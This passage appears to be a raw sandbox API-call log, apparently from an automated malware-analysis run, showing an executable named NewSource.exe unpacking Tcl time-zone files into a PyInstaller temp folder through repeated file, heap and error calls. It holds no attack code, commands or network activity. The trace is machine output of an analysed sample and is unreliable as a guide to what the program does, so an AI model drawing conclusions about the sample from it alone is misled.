lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-14") returned 67 [0042.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-14" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-14"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.069] GetFileType (hFile=0x10c) returned 0x1 [0042.069] htonl (hostlong=0x73000000) returned 0x73 [0042.069] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.069] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x73, lpOverlapped=0x0) returned 1 [0042.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.070] CloseHandle (hObject=0x10c) returned 1 [0042.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.070] htonl (hostlong=0x30000000) returned 0x30 [0042.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.070] GetFileType (hFile=0x10c) returned 0x1 [0042.070] htonl (hostlong=0xf1bd5b00) returned 0x5bbdf1 [0042.070] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606df1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.070] htonl (hostlong=0x71000000) returned 0x71 [0042.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x55cfe0 [0042.070] htonl (hostlong=0x71000000) returned 0x71 [0042.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.070] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.070] htonl (hostlong=0x70000000) returned 0x70 [0042.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x70) returned 0x550600 [0042.070] htonl (hostlong=0x71000000) returned 0x71 [0042.070] htonl (hostlong=0x70000000) returned 0x70 [0042.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.071] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.071] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.071] CloseHandle (hObject=0x10c) returned 1 [0042.071] GetLastError () returned 0x0 [0042.071] SetLastError (dwErrCode=0x0) [0042.071] GetLastError () returned 0x0 [0042.071] SetLastError (dwErrCode=0x0) [0042.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.071] GetFileType (hFile=0x10c) returned 0x1 [0042.071] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.071] CloseHandle (hObject=0x10c) returned 1 [0042.071] GetLastError () returned 0x0 [0042.071] SetLastError (dwErrCode=0x0) [0042.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.071] GetFileType (hFile=0x10c) returned 0x1 [0042.072] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.072] CloseHandle (hObject=0x10c) returned 1 [0042.072] GetLastError () returned 0x0 [0042.072] SetLastError (dwErrCode=0x0) [0042.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.072] GetFileType (hFile=0x10c) returned 0x1 [0042.072] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.072] CloseHandle (hObject=0x10c) returned 1 [0042.072] GetLastError () returned 0x0 [0042.073] SetLastError (dwErrCode=0x0) [0042.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-2") returned 66 [0042.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-2"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.073] GetLastError () returned 0x2 [0042.073] SetLastError (dwErrCode=0x2) [0042.073] GetLastError () returned 0x2 [0042.073] SetLastError (dwErrCode=0x2) [0042.073] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-2", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-2", lpFilePart=0x0) returned 0x41 [0042.073] GetLastError () returned 0x2 [0042.073] SetLastError (dwErrCode=0x2) [0042.073] GetLastError () returned 0x2 [0042.073] SetLastError (dwErrCode=0x2) [0042.073] GetLastError () returned 0x2 [0042.073] SetLastError (dwErrCode=0x2) [0042.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-2") returned 66 [0042.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-2"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.073] GetFileType (hFile=0x10c) returned 0x1 [0042.073] htonl (hostlong=0x70000000) returned 0x70 [0042.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.073] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x70, lpOverlapped=0x0) returned 1 [0042.152] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.152] CloseHandle (hObject=0x10c) returned 1 [0042.152] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.152] htonl (hostlong=0x30000000) returned 0x30 [0042.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.152] GetFileType (hFile=0x10c) returned 0x1 [0042.152] htonl (hostlong=0x62be5b00) returned 0x5bbe62 [0042.152] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606e62, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.152] htonl (hostlong=0x73000000) returned 0x73 [0042.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0042.152] htonl (hostlong=0x73000000) returned 0x73 [0042.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.152] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.153] htonl (hostlong=0x71000000) returned 0x71 [0042.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0042.153] htonl (hostlong=0x73000000) returned 0x73 [0042.153] htonl (hostlong=0x71000000) returned 0x71 [0042.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.153] CloseHandle (hObject=0x10c) returned 1 [0042.153] GetLastError () returned 0x0 [0042.153] SetLastError (dwErrCode=0x0) [0042.153] GetLastError () returned 0x0 [0042.153] SetLastError (dwErrCode=0x0) [0042.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.153] GetFileType (hFile=0x10c) returned 0x1 [0042.153] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.153] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.154] CloseHandle (hObject=0x10c) returned 1 [0042.154] GetLastError () returned 0x0 [0042.154] SetLastError (dwErrCode=0x0) [0042.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.154] GetFileType (hFile=0x10c) returned 0x1 [0042.154] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.154] CloseHandle (hObject=0x10c) returned 1 [0042.154] GetLastError () returned 0x0 [0042.154] SetLastError (dwErrCode=0x0) [0042.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.154] GetFileType (hFile=0x10c) returned 0x1 [0042.154] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.155] CloseHandle (hObject=0x10c) returned 1 [0042.155] GetLastError () returned 0x0 [0042.155] SetLastError (dwErrCode=0x0) [0042.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-3") returned 66 [0042.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-3"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.155] GetLastError () returned 0x2 [0042.155] SetLastError (dwErrCode=0x2) [0042.155] GetLastError () returned 0x2 [0042.155] SetLastError (dwErrCode=0x2) [0042.155] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-3", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-3", lpFilePart=0x0) returned 0x41 [0042.155] GetLastError () returned 0x2 [0042.155] SetLastError (dwErrCode=0x2) [0042.155] GetLastError () returned 0x2 [0042.155] SetLastError (dwErrCode=0x2) [0042.155] GetLastError () returned 0x2 [0042.155] SetLastError (dwErrCode=0x2) [0042.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-3") returned 66 [0042.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.156] GetFileType (hFile=0x10c) returned 0x1 [0042.156] htonl (hostlong=0x71000000) returned 0x71 [0042.156] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.156] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0042.157] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.157] CloseHandle (hObject=0x10c) returned 1 [0042.157] HeapFree 